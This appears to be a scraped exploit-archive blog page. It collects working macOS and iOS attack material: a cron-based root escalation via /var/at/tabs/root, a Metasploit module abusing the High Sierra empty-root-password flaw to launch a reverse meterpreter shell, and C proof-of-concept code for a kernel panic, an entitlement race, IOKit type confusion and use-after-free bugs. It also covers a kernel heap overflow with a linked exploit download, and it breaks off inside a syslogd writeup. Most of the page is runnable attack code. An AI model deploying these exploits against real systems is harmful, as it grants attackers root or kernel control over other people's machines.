Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863111242

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Recently I was working on an security issue in some other software that has yet to be disclosed which created a rather interesting condition. As a non-root user I was able to write to any file on the system that was not SIP-protected but the resulting file would not be root-owned, even if it previously was.

This presented an interesting challenge for privilege escalation - how would you exploit this to obtain root access? The obvious first attempt was the sudoers file but sudo is smart enough not to process it if the file isn't root-owned so that didn't work.

I then discovered (after a tip from a friend - thanks pndc!) that the cron system in macOS does not care who the crontab files are owned by. Getting root was a simple case of creating a crontab file at:

```
/var/at/tabs/root
```

with a 60-second cron line, eg:

```
* * * * * chown root:wheel /tmp/payload && chmod 4755 /tmp/payload
```

and then waiting for it to execute. It's not clear if this is a macOS-specific issue or a hangover from the BSD-inherited cron system, I suspect the latter.

The issue has been reported to Apple so hopefully they will fix it.
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Mac OS X Root Privilege Escalation',
      'Description'   => %q{
        This module exploits a serious flaw in MacOSX High Sierra.
        Any user can login with user "root", leaving an empty password.
      },
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          [ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],
          [ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],
          [ 'URL', 'https://forums.developer.apple.com/thread/79235' ],
        ],
      'Platform'      => 'osx',
      'Arch'          => ARCH_X64,
      'DefaultOptions' =>
      {
        'PAYLOAD'      => 'osx/x64/meterpreter_reverse_tcp',
      },
      'SessionTypes'  => [ 'shell', 'meterpreter' ],
      'Targets'       => [
        [ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ]
      ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Nov 29 2017'
    ))
  end

  def exploit_cmd(root_payload)
    "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
  end

  def exploit
    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
    print_status("Writing payload file as '#{payload_file}'")
    write_file(payload_file, payload.raw)
    register_file_for_cleanup(payload_file)
    output = cmd_exec("chmod +x #{payload_file}")
    print_status("Executing payload file as '#{payload_file}'")
    cmd_exec(exploit_cmd(payload_file))
  end
end
            
## Source: https://twitter.com/lemiorhan/status/935578694541770752 & https://forums.developer.apple.com/thread/79235
"Dear @AppleSupport, we noticed a *HUGE* security issue at MacOS High Sierra. Anyone can login as "root" with empty password after clicking on login button several times. Are you aware of it @Apple?"


## Proof: https://twitter.com/patrickwardle/status/935608904377077761


## Mitigation/Detection/Forensic: https://news.ycombinator.com/item?id=15800676
- Can be mitigated by enabling the root user with a strong password
- Can be detected with `osquery` using `SELECT * FROM plist WHERE path = "/private/var/db/dslocal/nodes/Default/users/root.plist" AND key = "passwd" AND length(value) > 1;";`
- You can see what time the root account was enabled using `SELECT * FROM plist WHERE path = "/private/var/db/dslocal/nodes/Default/users/root.plist" WHERE key = "accountPolicyData";` then base 64 decoding that into a file and then running `plutil -convert xml1` and looking at the `passwordLastSetTime` field.
_Note: osquery needs to be running with `sudo` but if you have it deployed across a fleet of macs as a daemon then it will be running with `sudo` anyway._
_Note: You can get the same info with plutil(1): `$ sudo plutil -p /private/var/db/dslocal/nodes/Default/users/root.plist`_


## Security Advisory: https://support.apple.com/en-gb/HT208315
            
/*
# Exploit Title: MacOS 10.13 - 'workq_kernreturn' Denial of Service (PoC)
# Date: 2018-07-30
# Exploit Author: Fabiano Anemone
# Vendor Homepage: https://www.apple.com/
# Version: iOS 11.4.1 / MacOS 10.13.6
# Tested on: iOS / MacOS
# CVE: Not assigned
# Tweet: https://twitter.com/anoane/status/1048549170217451520

# iOS 11 / MacOS 10.13 - workq_kernreturn syscall local DoS
# workq_kernreturn_dos.c
# workq_kernreturn_dos
# Created by FABIANO ANEMONE (@ on 7/30/18.
# Copyright © 2018 FABIANO ANEMONE (fabiano.anemone@gmail.com). All rights reserved.
# Reported to product-security@apple.com on 7/30/18
# Fixed in Mojave.
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/errno.h>

#define WQOPS_THREAD_WORKLOOP_RETURN 0x100    /* parks the thread after delivering the passed kevent array */

int workq_kernreturn(int options, user_addr_t item, int affinity, int prio) {
    return syscall(SYS_workq_kernreturn, options, item, affinity, prio);
}

int main(int argc, const char * argv[]) {
    //short version that fits one tweet:
    //syscall(368,256,1,1);
    
    errno = 0;
    user_addr_t any_non_zero_address = 1;
    int res = workq_kernreturn(WQOPS_THREAD_WORKLOOP_RETURN, any_non_zero_address, 1, 0);
    // MacOS 10.13.X and iOS 11.X will panic at this point
    printf("workq_kernreturn: %d - res: %d - errno: %d\n", 0, res, errno);
    return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1223

One way processes in userspace that offer mach services check whether they should perform an action on
behalf of a client from which they have received a message is by checking whether the sender possesses a certain entitlement.

These decisions are made using the audit token which is appended by the kernel to every received mach message.
The audit token contains amongst other things the senders uid, gid, ruid, guid, pid and pid generation number (p_idversion.)

The canonical way which userspace daemons check a message sender's entitlements is as follows:

  audit_token_t tok;
  xpc_connection_get_audit_token(conn, &tok);
  SecTaskRef sectask = SecTaskCreateWithAuditToken(kCFAllocatorDefault, tok);

  CFErrorRef err;
  CFTypeRef entitlement = SecTaskCopyValueForEntitlement(sectask, CFSTR("com.apple.an_entitlement_name"), &err);

  /* continue and check that entitlement is non-NULL, is a CFBoolean and has the value CFBooleanTrue */

The problem is that SecTaskCreateWithAuditToken only uses the pid, not also the pid generation number
to build the SecTaskRef:

  SecTaskRef SecTaskCreateWithAuditToken(CFAllocatorRef allocator, audit_token_t token)
  {
    SecTaskRef task;

    task = SecTaskCreateWithPID(allocator, audit_token_to_pid(token));
    ...

This leaves two avenues for a sender without an entitlement to talk to a service which requires it:

a) If the process can exec binaries then they can simply send the message then exec a system binary with that entitlement.
   This pid now maps to the entitlements of that new binary.

b) If the process can't exec a binary (it's in a sandbox for example) then exploitation is still possible if the processes has the ability to
   crash and force the restart of a binary with that entitlement (a common case, eg via an OOM or NULL pointer deref in a mach service.)
   The attacker process will have to crash and force the restart of a process with the entitlement a sufficient number of times to wrap
   the next free pid around such that when it sends the request to the target then forces the entitled process to crash it can crash itself and
   have its pid reused by the respawned entitled process.

Scenario b) is not so outlandish, such a setup could be achieved via a renderer bug with ability to gain code execution in new renderer processes
as they are created.

You would also not necessarily be restricted to just being able to send one mach message to the target service as there's no
constraint that a mach message's reply port has to point back to the sending process; you could for example stash a receive right with
another process or launchd so that you can still engage in a full bi-directional communication with the target service even
if the audit token was always checked.

The security implications of this depend on what the security guarantees of entitlements are. It's certainly the case that this enables
you to talk to a far greater range of services as many system services use entitlement checks to restrict their clients to a small number
of whitelisted binaries.

This may also open up access to privileged information which is protected by the entitlements.

This PoC just demonstrates that we can send an xpc message to a daemon which expects its clients to have the "com.apple.corecapture.manager-access"
entitlement and pass the check without having that entitlement.

We'll target com.apple.corecaptured which expects that only the cctool or sharingd binaries can talk to it.

use an lldb invocation like:

  sudo lldb -w -n corecaptured

then run this poc and set a breakpoint after the hasEntitlement function in the CoreCaptureDaemon library.

You'll notice that the check passes and our xpc message has been received and will now be processes by the daemon.

Obviously attaching the debugger like this artificially increases the race window but by for example sending many bogus large messages beforehand
we could ensure the target service has many messages in its mach port queue to make the race more winnable.

PoC tested on MacOS 10.12.3 (16D32)
 */

// ianbeer
#if 0
MacOS/iOS userspace entitlement checking is racy

One way processes in userspace that offer mach services check whether they should perform an action on
behalf of a client from which they have received a message is by checking whether the sender possesses a certain entitlement.

These decisions are made using the audit token which is appended by the kernel to every received mach message.
The audit token contains amongst other things the senders uid, gid, ruid, guid, pid and pid generation number (p_idversion.)

The canonical way which userspace daemons check a message sender's entitlements is as follows:

  audit_token_t tok;
  xpc_connection_get_audit_token(conn, &tok);
  SecTaskRef sectask = SecTaskCreateWithAuditToken(kCFAllocatorDefault, tok);

  CFErrorRef err;
  CFTypeRef entitlement = SecTaskCopyValueForEntitlement(sectask, CFSTR("com.apple.an_entitlement_name"), &err);

  /* continue and check that entitlement is non-NULL, is a CFBoolean and has the value CFBooleanTrue */

The problem is that SecTaskCreateWithAuditToken only uses the pid, not also the pid generation number
to build the SecTaskRef:

	SecTaskRef SecTaskCreateWithAuditToken(CFAllocatorRef allocator, audit_token_t token)
	{
		SecTaskRef task;

		task = SecTaskCreateWithPID(allocator, audit_token_to_pid(token));
		...

This leaves two avenues for a sender without an entitlement to talk to a service which requires it:

a) If the process can exec binaries then they can simply send the message then exec a system binary with that entitlement.
   This pid now maps to the entitlements of that new binary.

b) If the process can't exec a binary (it's in a sandbox for example) then exploitation is still possible if the processes has the ability to
   crash and force the restart of a binary with that entitlement (a common case, eg via an OOM or NULL pointer deref in a mach service.)
   The attacker process will have to crash and force the restart of a process with the entitlement a sufficient number of times to wrap
   the next free pid around such that when it sends the request to the target then forces the entitled process to crash it can crash itself and
   have its pid reused by the respawned entitled process.

Scenario b) is not so outlandish, such a setup could be achieved via a renderer bug with ability to gain code execution in new renderer processes
as they are created.

You would also not necessarily be restricted to just being able to send one mach message to the target service as there's no
constraint that a mach message's reply port has to point back to the sending process; you could for example stash a receive right with
another process or launchd so that you can still engage in a full bi-directional communication with the target service even
if the audit token was always checked.

The security implications of this depend on what the security guarantees of entitlements are. It's certainly the case that this enables
you to talk to a far greater range of services as many system services use entitlement checks to restrict their clients to a small number
of whitelisted binaries.

This may also open up access to privileged information which is protected by the entitlements.

This PoC just demonstrates that we can send an xpc message to a daemon which expects its clients to have the "com.apple.corecapture.manager-access"
entitlement and pass the check without having that entitlement.

We'll target com.apple.corecaptured which expects that only the cctool or sharingd binaries can talk to it.

use an lldb invocation like:

  sudo lldb -w -n corecaptured

then run this poc and set a breakpoint after the hasEntitlement function in the CoreCaptureDaemon library.

You'll notice that the check passes and our xpc message has been received and will now be processes by the daemon.

Obviously attaching the debugger like this artificially increases the race window but by for example sending many bogus large messages beforehand
we could ensure the target service has many messages in its mach port queue to make the race more winnable.

PoC tested on MacOS 10.12.3 (16D32)
#endif

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <xpc/xpc.h>

void exec_blocking(char* target, char** argv, char** envp) {
  // create the pipe
  int pipefds[2];
  pipe(pipefds);

  int read_end = pipefds[0];
  int write_end = pipefds[1];

  // make the pipe nonblocking so we can fill it
  int flags = fcntl(write_end, F_GETFL);
  flags |= O_NONBLOCK;
  fcntl(write_end, F_SETFL, flags);

  // fill up the write end
  int ret, count = 0;
  do {
    char ch = ' ';
    ret = write(write_end, &ch, 1);
    count++;
  } while (!(ret == -1 && errno == EAGAIN));
  printf("wrote %d bytes to pipe buffer\n", count-1);


  // make it blocking again
  flags = fcntl(write_end, F_GETFL);
  flags &= ~O_NONBLOCK;
  fcntl(write_end, F_SETFL, flags);

  // set the pipe write end to stdout/stderr
  dup2(write_end, 1);
  dup2(write_end, 2);

  execve(target, argv, envp);
}

xpc_connection_t connect(char* service_name){
  xpc_connection_t conn = xpc_connection_create_mach_service(service_name, NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

  xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
    xpc_type_t t = xpc_get_type(event);
    if (t == XPC_TYPE_ERROR){
      printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
    }
    printf("received an event\n");
  });
  xpc_connection_resume(conn);
  return conn;
}

int main(int argc, char** argv, char** envp) {
  xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
  xpc_dictionary_set_string(msg, "CCConfig", "hello from a sender without entitlements!");

	xpc_connection_t conn = connect("com.apple.corecaptured");

	xpc_connection_send_message(conn, msg);

  // exec a binary with the entitlement to talk to that daemon
  // make sure it doesn't exit by giving it a full pipe for stdout/stderr
  char* target_binary = "/System/Library/PrivateFrameworks/CoreCaptureControl.framework/Versions/A/Resources/cctool";
  char* target_argv[] = {target_binary, NULL};
  exec_blocking(target_binary, target_argv, envp);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=974

There are two ways for IOServices to define their IOUserClient classes: they can 
override IOService::newUserClient and allocate the correct type themselves
or they can set the IOUserClientClass key in their registry entry.

The default implementation of IOService::newUserClient does this:

  IOReturn IOService::newUserClient( task_t owningTask, void * securityID,
                                    UInt32 type,  OSDictionary * properties,
                                    IOUserClient ** handler )
  {
      const OSSymbol *userClientClass = 0;
      IOUserClient *client;
      OSObject *temp;
      
      if (kIOReturnSuccess == newUserClient( owningTask, securityID, type, handler ))
          return kIOReturnSuccess;
      
      // First try my own properties for a user client class name
      temp = getProperty(gIOUserClientClassKey);
      if (temp) {
          if (OSDynamicCast(OSSymbol, temp))
              userClientClass = (const OSSymbol *) temp;
          else if (OSDynamicCast(OSString, temp)) {
              userClientClass = OSSymbol::withString((OSString *) temp);
              if (userClientClass)
                  setProperty(kIOUserClientClassKey,
                              (OSObject *) userClientClass);
          }
      }
      
      // Didn't find one so lets just bomb out now without further ado.
      if (!userClientClass)
          return kIOReturnUnsupported;
      
      // This reference is consumed by the IOServiceOpen call
      temp = OSMetaClass::allocClassWithName(userClientClass);
      if (!temp)
          return kIOReturnNoMemory;
      
      if (OSDynamicCast(IOUserClient, temp))
          client = (IOUserClient *) temp;
      else {
          temp->release();
          return kIOReturnUnsupported;
      }
      
      if ( !client->initWithTask(owningTask, securityID, type, properties) ) {

  ... continue on and call client->start(this) to connect the client to the service

This reads the "IOUserClientClass" entry in the services registry entry and uses the IOKit
reflection API to allocate it.

If an IOService doesn't want to have any IOUserClients then it has two options, either override
newUserClient to return kIOReturnUnsupported or make sure that there is no IOUserClientClass
entry in the service's registry entry.

AppleBroadcomBluetoothHostController takes the second approach but inherits from IOBluetoothHostController
which overrides ::setProperties to allow an unprivileged user to set *all* registry entry properties,
including IOUserClientClass.

This leads to a very exploitable type confusion issue as plenty of IOUserClient subclasses don't expect
to be connected to a different IOService provider. In this PoC I connect an IGAccelSharedUserClient to
a AppleBroadcomBluetoothHostController which leads immediately to an invalid virtual call. With more
investigation I'm sure you could build some very nice exploitation primitives with this bug.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/

// ianbeer
// clang -o wrongclass wrongclass.c -framework IOKit -framework CoreFoundation

#if 0
MacOS kernel code execution due to writable privileged IOKit registry properties

There are two ways for IOServices to define their IOUserClient classes: they can 
override IOService::newUserClient and allocate the correct type themselves
or they can set the IOUserClientClass key in their registry entry.

The default implementation of IOService::newUserClient does this:

  IOReturn IOService::newUserClient( task_t owningTask, void * securityID,
                                    UInt32 type,  OSDictionary * properties,
                                    IOUserClient ** handler )
  {
      const OSSymbol *userClientClass = 0;
      IOUserClient *client;
      OSObject *temp;
      
      if (kIOReturnSuccess == newUserClient( owningTask, securityID, type, handler ))
          return kIOReturnSuccess;
      
      // First try my own properties for a user client class name
      temp = getProperty(gIOUserClientClassKey);
      if (temp) {
          if (OSDynamicCast(OSSymbol, temp))
              userClientClass = (const OSSymbol *) temp;
          else if (OSDynamicCast(OSString, temp)) {
              userClientClass = OSSymbol::withString((OSString *) temp);
              if (userClientClass)
                  setProperty(kIOUserClientClassKey,
                              (OSObject *) userClientClass);
          }
      }
      
      // Didn't find one so lets just bomb out now without further ado.
      if (!userClientClass)
          return kIOReturnUnsupported;
      
      // This reference is consumed by the IOServiceOpen call
      temp = OSMetaClass::allocClassWithName(userClientClass);
      if (!temp)
          return kIOReturnNoMemory;
      
      if (OSDynamicCast(IOUserClient, temp))
          client = (IOUserClient *) temp;
      else {
          temp->release();
          return kIOReturnUnsupported;
      }
      
      if ( !client->initWithTask(owningTask, securityID, type, properties) ) {

  ... continue on and call client->start(this) to connect the client to the service

This reads the "IOUserClientClass" entry in the services registry entry and uses the IOKit
reflection API to allocate it.

If an IOService doesn't want to have any IOUserClients then it has two options, either override
newUserClient to return kIOReturnUnsupported or make sure that there is no IOUserClientClass
entry in the service's registry entry.

AppleBroadcomBluetoothHostController takes the second approach but inherits from IOBluetoothHostController
which overrides ::setProperties to allow an unprivileged user to set *all* registry entry properties,
including IOUserClientClass.

This leads to a very exploitable type confusion issue as plenty of IOUserClient subclasses don't expect
to be connected to a different IOService provider. In this PoC I connect an IGAccelSharedUserClient to
a AppleBroadcomBluetoothHostController which leads immediately to an invalid virtual call. With more
investigation I'm sure you could build some very nice exploitation primitives with this bug.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)

#endif

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>

int main(){
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleBroadcomBluetoothHostController"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 1;
  }
  printf("got service: %x\n", service);

	// try to set the prop: 
	kern_return_t err;
	err = IORegistryEntrySetCFProperty(
		service,
		CFSTR("IOUserClientClass"),
		CFSTR("IGAccelSharedUserClient"));
	
	if (err != KERN_SUCCESS){
		printf("setProperty failed\n");
	} else {
		printf("set the property!!\n");
  }

  // open a userclient:
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 1;
  }

  printf("got userclient connection: %x\n", conn);
  
  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=973

IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService.
We can call this function on a controlled IOService with a controlled matching table OSDictionary via the
io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable.

If a candidate IOService does match against the dictionary but the dictionary also specifies an
"IOParentMatch" key then we reach the following code (in IOService.cpp:)

  OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey));
  if(alternateRegistryID != NULL) {
    if(aliasServiceRegIds == NULL)
    {
      aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID));
    }
    aliasServiceRegIds->setObject(alternateRegistryID);
  }

("where" is the controlled IOService.)
getProperty is an IORegistryEntry API which directly calls the getObject method
of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on
the value of the property which means that there is a short window between

  where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)
and
  aliasServiceRegIds->setObject(alternateRegistryID)

when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property
the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call
being performed on a free'd object.

On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the
IOServiceLegacyMatchingRegistryID property.

One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it
to the aliasServiceRegIds array.

Tested on MacOS Sierra 10.12.1 (16B2555)
*/

// ianbeer
// clang -o iorace iorace.c -framework IOKit -framework CoreFoundation && sync

#if 0
MacOS/iOS kernel use after free due to failure to take reference in IOService::matchPassive

IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService.
We can call this function on a controlled IOService with a controlled matching table OSDictionary via the
io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable.

If a candidate IOService does match against the dictionary but the dictionary also specifies an
"IOParentMatch" key then we reach the following code (in IOService.cpp:)

  OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey));
  if(alternateRegistryID != NULL) {
    if(aliasServiceRegIds == NULL)
    {
      aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID));
    }
    aliasServiceRegIds->setObject(alternateRegistryID);
  }

("where" is the controlled IOService.)
getProperty is an IORegistryEntry API which directly calls the getObject method
of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on
the value of the property which means that there is a short window between

  where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)
and
  aliasServiceRegIds->setObject(alternateRegistryID)

when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property
the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call
being performed on a free'd object.

On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the
IOServiceLegacyMatchingRegistryID property.

One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it
to the aliasServiceRegIds array.

Tested on MacOS Sierra 10.12.1 (16B2555)
#endif



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/mach_vm.h>

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>

io_service_t service = MACH_PORT_NULL;

void* setter(void* arg) {
  char number = 1;
  CFNumberRef num = CFNumberCreate(kCFAllocatorDefault, kCFNumberCharType, &number);

  while(1) {
    kern_return_t err;
    err = IORegistryEntrySetCFProperty(
      service,
      CFSTR("IOServiceLegacyMatchingRegistryID"),
      num);
    
    if (err != KERN_SUCCESS){
      printf("setProperty failed\n");
      return NULL;
    }
  }
  return NULL;
}

int main(){
  kern_return_t err;

  service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);

  pthread_t thread;
  pthread_create(&thread, NULL, setter, NULL);

  CFMutableDictionaryRef  dict2; 
  dict2 = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
                                   &kCFTypeDictionaryKeyCallBacks,
                                   &kCFTypeDictionaryValueCallBacks);
  CFDictionarySetValue(dict2, CFSTR("key"), CFSTR("value"));

  CFMutableDictionaryRef  dict; 
  dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
                                   &kCFTypeDictionaryKeyCallBacks,
                                   &kCFTypeDictionaryValueCallBacks);
  CFDictionarySetValue(dict, CFSTR("IOProviderClass"), CFSTR("IOService"));
  CFDictionarySetValue(dict, CFSTR("IOResourceMatch"), CFSTR("IOBSD"));
  CFDictionarySetValue(dict, CFSTR("IOParentMatch"), dict2);

  while(1) {
    boolean_t match = 0;
    err = IOServiceMatchPropertyTable(service, dict, &match);
    if (err != KERN_SUCCESS){
      printf("no matches\n");
    }
  }

  pthread_join(thread, NULL);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1034

The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
protect the task->itk_* ports.

The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
given the following interleaving of execution:

Thread A: host_self_trap:
  read current_task()->itk_host         // Thread A reads itk_host

Thread B: task_set_special_port:
  *whichp = port;                       // Thread B replaces itk_host with eg MACH_PORT_NULL
  itk_unlock(task);
  
  if (IP_VALID(old))
    ipc_port_release_send(old);         // Thread B drops last ref on itk_host

Thread A: host_self_trap:
  passes the port to ipc_port_copy_send // uses the free'd port

host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.

PoC tested on MacOS 10.12.1
*/

// ianbeer
#if 0
iOS/MacOS kernel UaF due to lack of locking in host_self_trap

The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
protect the task->itk_* ports.

The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
given the following interleaving of execution:

Thread A: host_self_trap:
	read current_task()->itk_host         // Thread A reads itk_host

Thread B: task_set_special_port:
  *whichp = port;                       // Thread B replaces itk_host with eg MACH_PORT_NULL
  itk_unlock(task);
  
  if (IP_VALID(old))
    ipc_port_release_send(old);         // Thread B drops last ref on itk_host

Thread A: host_self_trap:
  passes the port to ipc_port_copy_send // uses the free'd port

host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.

PoC tested on MacOS 10.12.1
#endif

// example boot-args
// debug=0x144 -v pmuflags=1 kdp_match_name=en3 -zp -zc gzalloc_min=120 gzalloc_max=200

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>

#include <mach/mach.h>
#include <mach/host_priv.h>

mach_port_t q() {
  mach_port_t p = MACH_PORT_NULL;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
  mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
  return p;
}

int start = 0;

mach_port_t rq = MACH_PORT_NULL;
void* racer(void* arg) {
  for(;;) {
    while(!start){;}
    usleep(10);
    mach_port_t p = mach_host_self();
    mach_port_deallocate(mach_task_self(), p);
    start = 0;
  }
}

int main() {
  pthread_t thread;
  pthread_create(&thread, NULL, racer, NULL);
  for (;;){
    mach_port_t p = q();

    kern_return_t err = task_set_special_port(mach_task_self(), TASK_HOST_PORT, p);

    mach_port_deallocate(mach_task_self(), p);
    mach_port_destroy(mach_task_self(), p);
    // kernel holds the only ref

    start = 1;

    task_set_special_port(mach_host_self(), TASK_HOST_PORT, MACH_PORT_NULL);
  }
  return 0;
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1004

mach_voucher_extract_attr_recipe_trap is a mach trap which can be called from any context

Here's the code:

  kern_return_t
  mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
  {
    ipc_voucher_t voucher = IV_NULL;
    kern_return_t kr = KERN_SUCCESS;
    mach_msg_type_number_t sz = 0;

    if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))     <---------- (a)
      return KERN_MEMORY_ERROR;

    if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
      return MIG_ARRAY_TOO_LARGE;

    voucher = convert_port_name_to_voucher(args->voucher_name);
    if (voucher == IV_NULL)
      return MACH_SEND_INVALID_DEST;

    mach_msg_type_number_t __assert_only max_sz = sz;

    if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
      /* keep small recipes on the stack for speed */
      uint8_t krecipe[sz];
      if (copyin(args->recipe, (void *)krecipe, sz)) {
        kr = KERN_MEMORY_ERROR;
        goto done;
      }
      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
    } else {
      uint8_t *krecipe = kalloc((vm_size_t)sz);                 <---------- (b)
      if (!krecipe) {
        kr = KERN_RESOURCE_SHORTAGE;
        goto done;
      }

      if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {         <----------- (c)
        kfree(krecipe, (vm_size_t)sz);
        kr = KERN_MEMORY_ERROR;
        goto done;
      }

      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
      kfree(krecipe, (vm_size_t)sz);
    }

    kr = copyout(&sz, args->recipe_size, sizeof(sz));

  done:
    ipc_voucher_release(voucher);
    return kr;
  }


Here's the argument structure (controlled from userspace)

  struct mach_voucher_extract_attr_recipe_args {
    PAD_ARG_(mach_port_name_t, voucher_name);
    PAD_ARG_(mach_voucher_attr_key_t, key);
    PAD_ARG_(mach_voucher_attr_raw_recipe_t, recipe);
    PAD_ARG_(user_addr_t, recipe_size);
  };

recipe and recipe_size are userspace pointers.

At point (a) four bytes are read from the userspace pointer recipe_size into sz.

At point (b) if sz was less than MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) and greater than MACH_VOUCHER_TRAP_STACK_LIMIT (256)
sz is used to allocate a kernel heap buffer.

At point (c) copyin is called again to copy userspace memory into that buffer which was just allocated, but rather than passing sz (the 
validate size which was allocated) args->recipe_size is passed as the size. This is the userspace pointer *to* the size, not the size!

This leads to a completely controlled kernel heap overflow.

Tested on MacOS Sierra 10.12.1 (16B2555)

Exploit for iOS 10.2 iPod Touch 6G 14C92 gets kernel arbitrary r/w


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41163.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=977

syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.

Here's a snippet from its mach message handling loop listening on the service port:

    ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
  ...
    if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
    {
      deadname = (mach_dead_name_notification_t *)request;
      dispatch_async(asl_server_queue, ^{
        cancel_session(deadname->not_port);
        /* dead name notification includes a dead name right */
        mach_port_deallocate(mach_task_self(), deadname->not_port);
        free(request);
      });

An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.

An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/

// ianbeer

#if 0
MacOS/iOS arbitrary port replacement in syslogd

